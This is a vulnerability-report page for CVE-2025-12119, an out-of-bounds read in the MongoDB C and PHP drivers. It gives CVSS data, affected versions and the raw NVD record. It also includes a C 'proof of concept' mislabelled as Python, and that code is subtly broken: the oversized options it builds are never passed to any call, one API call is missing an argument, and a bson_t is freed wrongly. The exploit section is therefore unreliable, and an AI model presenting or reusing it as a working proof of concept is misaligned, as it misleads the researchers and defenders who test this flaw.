Security Vulnerability Report
中文
CVE-2025-12119 CVSS 6.8 MEDIUM

CVE-2025-12119

Published: 2025-11-18 22:15:46
Last Modified: 2026-01-14 19:16:41

Description

A mongoc_bulk_operation_t may read invalid memory if large options are passed.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:mongodb:c_driver:*:*:*:*:*:mongodb:*:* - VULNERABLE
cpe:2.3:a:mongodb:c_driver:*:*:*:*:*:mongodb:*:* - VULNERABLE
cpe:2.3:a:mongodb:php_driver:*:*:*:*:*:mongodb:*:* - VULNERABLE
MongoDB C Driver (libmongoc) < 1.30.6
MongoDB C Driver (libmongoc) < 2.1.2
mongo-php-driver < 1.21.2
Debian LTS (bullseye) mongo-c-driver < 1.18.0-1+deb11u1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-12119 PoC - MongoDB C Driver Memory Out-of-Bounds Read * This PoC demonstrates triggering the vulnerability via oversized bulk operation options * Compile: gcc -o poc poc.c $(pkg-config --cflags --libs libmongoc-1.0) */ #include <bson.h> #include <mongoc.h> #include <stdio.h> #include <string.h> void trigger_vulnerability(mongoc_collection_t *collection) { mongoc_bulk_operation_t *bulk; bson_t *opts; bson_t *doc; uint8_t *large_data; size_t large_size = 1024 * 1024; // 1MB - oversized option // Create bulk operation with oversized options bulk = mongoc_collection_create_bulk_operation_with_opts(collection); if (!bulk) { printf("Failed to create bulk operation\n"); return; } // Allocate oversized option data large_data = (uint8_t *)malloc(large_size); if (!large_data) { printf("Memory allocation failed\n"); mongoc_bulk_operation_destroy(bulk); return; } memset(large_data, 0x41, large_size); // Create options document with oversized data opts = bson_new(); BSON_APPEND_BINARY(opts, "_ oversized_option", BSON_SUBTYPE_BINARY, large_data, large_size); // Attempt to execute bulk operation with malicious options doc = bson_new(); BSON_APPEND_INT32(doc, "_id", 1); BSON_APPEND_UTF8(doc, "data", "trigger_cve_2025_12119"); mongoc_bulk_operation_insert(bulk, doc); // This call may trigger out-of-bounds read due to oversized opts bson_destroy(opts); bson_free(doc); mongoc_bulk_operation_destroy(bulk); free(large_data); } int main(int argc, char *argv[]) { mongoc_client_t *client; mongoc_collection_t *collection; const char *uri = "mongodb://localhost:27017/"; mongoc_init(); client = mongoc_client_new(uri); if (!client) { fprintf(stderr, "Failed to create client\n"); return 1; } collection = mongoc_client_get_collection(client, "test_db", "test_collection"); printf("Triggering CVE-2025-12119 vulnerability...\n"); trigger_vulnerability(collection); mongoc_collection_destroy(collection); mongoc_client_destroy(client); mongoc_cleanup(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12119", "sourceIdentifier": "[email protected]", "published": "2025-11-18T22:15:45.713", "lastModified": "2026-01-14T19:16:41.243", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A mongoc_bulk_operation_t may read invalid memory if large options are passed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-825"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:c_driver:*:*:*:*:*:mongodb:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.30.6", "matchCriteriaId": "4560FD8E-E5F2-4A5F-A8B8-11E025F4EB19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:c_driver:*:*:*:*:*:mongodb:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.2", "matchCriteriaId": "3DA1421A-9676-4464-9BCB-1641DD58B478"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:php_driver:*:*:*:*:*:mongodb:*:*", "versionEndExcluding": "1.21.2", "matchCriteriaId": "8C6EC290-E407-4E76-B4A5-CDF80E45E264"}]}]}], "references": [{"url": "https://github.com/mongodb/mongo-c-driver/releases/tag/1.30.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mongodb/mongo-c-driver/releases/tag/2.1.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/mongodb/mongo-php-driver/releases/tag/1.21.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00009.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}